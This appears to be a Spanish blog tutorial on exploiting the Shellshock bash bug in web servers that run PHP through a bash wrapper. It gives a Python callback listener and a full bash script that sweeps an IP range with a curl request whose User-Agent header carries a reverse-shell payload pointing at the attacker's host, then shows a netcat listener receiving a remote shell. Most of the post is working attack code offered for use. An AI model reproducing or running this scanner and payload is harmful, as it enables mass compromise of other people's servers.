Como ya comentamos en una ocasión anterior es posible explotar el bug bash shock en servidores web si la ejecución del interprete php se hace mediante un wrapper escrito en bash, pero primero debemos localizar dichos servidores, en esta ocasión vamos a utilizar exactamente la misma técnica explicada en el artÃculo anterior pero esta vez no pondremos un netcat a la escucha con el que recoger la conexión si no que pondremos un script en python que nos mostrará que ips intentan conectar, de este modo tendremos un script que intenta aprovechar la vulnerabilidad y otro que mostrará donde se ha ejecutado con éxito.
El script que pondremos a la escucha es:
import socket
s = socket.socket()
print "-- Socket successfully created"
port = 4141
s.bind(('', port))
print "-- Socket binded to %s" %(port)
s.listen(5)
print "-- Socket is listening"
while True:
# Establish connection with client.
c, addr = s.accept()
print '-- Got connection from', addr
c.close()
print '-- Connection closed'
NOTA: Este script se pondrá a la escucha en el puerto 4141, si alguien conecta a este puerto imprimirá la ip y cerrará la conexión.
El script de chequeo del bug es el siguiente:
#!/bin/bash
clear
echo -e "-----------------------------------------------"
echo -e "| BachShock HTTP Scanner v0.1b, coded by Kr0m |"
echo -e "-----------------------------------------------"
echo -e "++ Remember to put the listening script in the configured port"
echo -e " python2.7 python_server_socket.py "
echo -e " "
if [ $# -ne 2 ]; then
echo -e "-- Invalid number of arguments."
echo -e "bashshock_http_scanner.sh FIRST_IP LAST_IP"
echo -e " "
exit
fi
HOST="192.168.20.1"
PORT="4141"
IP="$1"
IP2="$2"
STAT=1
STAT2=1
if [[ $IP =~ ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$ ]]; then
OIFS=$IFS
IFS='.'
IP=($IP)
IFS=$OIFS
[[ ${IP[0]} -le 255 && ${IP[1]} -le 255 && ${IP[2]} -le 255 && ${IP[3]} -le 255 ]]
STAT=$?
fi
if [ $STAT == '1' ]; then
echo -e "-- First IP: $1 -- INVALID, aborting"
exit
else
echo -e "-- First IP: $1 -- VALID"
fi
if [[ $IP2 =~ ^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$ ]]; then
OIFS=$IFS
IFS='.'
IP2=($IP2)
IFS=$OIFS
[[ ${IP2[0]} -le 255 && ${IP2[1]} -le 255 && ${IP2[2]} -le 255 && ${IP2[3]} -le 255 ]]
STAT2=$?
fi
if [ $STAT2 == '1' ]; then
echo -e "-- Second IP: $2 -- INVALID, aborting"
exit
else
echo -e "-- Second IP: $2 -- VALID"
fi
IFS=. read -r a b c d <<< "$1"
INT=$(printf '%d
' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))")
IFS=. read -r a b c d <<< "$2"
INT2=$(printf '%d
' "$((a * 256 ** 3 + b * 256 ** 2 + c * 256 + d))")
#echo -e "-- INT: $INT"
#echo -e "-- INT2: $INT2"
if [ "$INT2" -ge "$INT" ]; then
echo -e "-- Valid IP Range"
else
echo -e "-- Invalid IP Range, aborting"
exit
fi
echo -e " "
while [ $INT -le $INT2 ]; do
A=$(echo -n $(($(($(($((${INT}/256))/256))/256))%256)).)
B=$(echo -n $(($(($((${INT}/256))/256))%256)).)
C=$(echo -n $(($((${INT}/256))%256)).)
D=$(echo $((${INT}%256)))
echo -e "=============================================================="
echo -e "++ Scanning IP: $A$B$C$D"
curl -m 6 -k -H 'User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/'$HOST'/'$PORT' 0>&1' http://$A$B$C$D/ -s -o /dev/null &
let INT=$INT+1
done
echo -e "=============================================================="
Si el script encuentra algún servidor vulnerable en la consola donde tenemos el python nos aparecerá algo tal que asÃ:
-- Socket successfully created
-- Socket binded to 4141
-- Socket is listening
-- Got connection from ('192.168.20.27', 60223)
-- Connection closed
Podemos ver como el servidor 192.168.20.27 es vulnerable a dicho ataque, ahora tan solo rejecutamos el ataque como en el artÃculo anterior y ya tenemos shell ;)
Ponemos a la escucha netcat:
Explotamos la vulnerabilidad:
En la shell con el netcat recibimos la shell remota:
nc -l -p 8080
web_prueba@RX3 /var/www/bin/web_pruebas $
Este script solo funcionará si el fichero de index del server es interpretado a través del wrapper, puede darse el caso en el que el index sea html claro pero tenga otras partes escritas en php por ejemplo.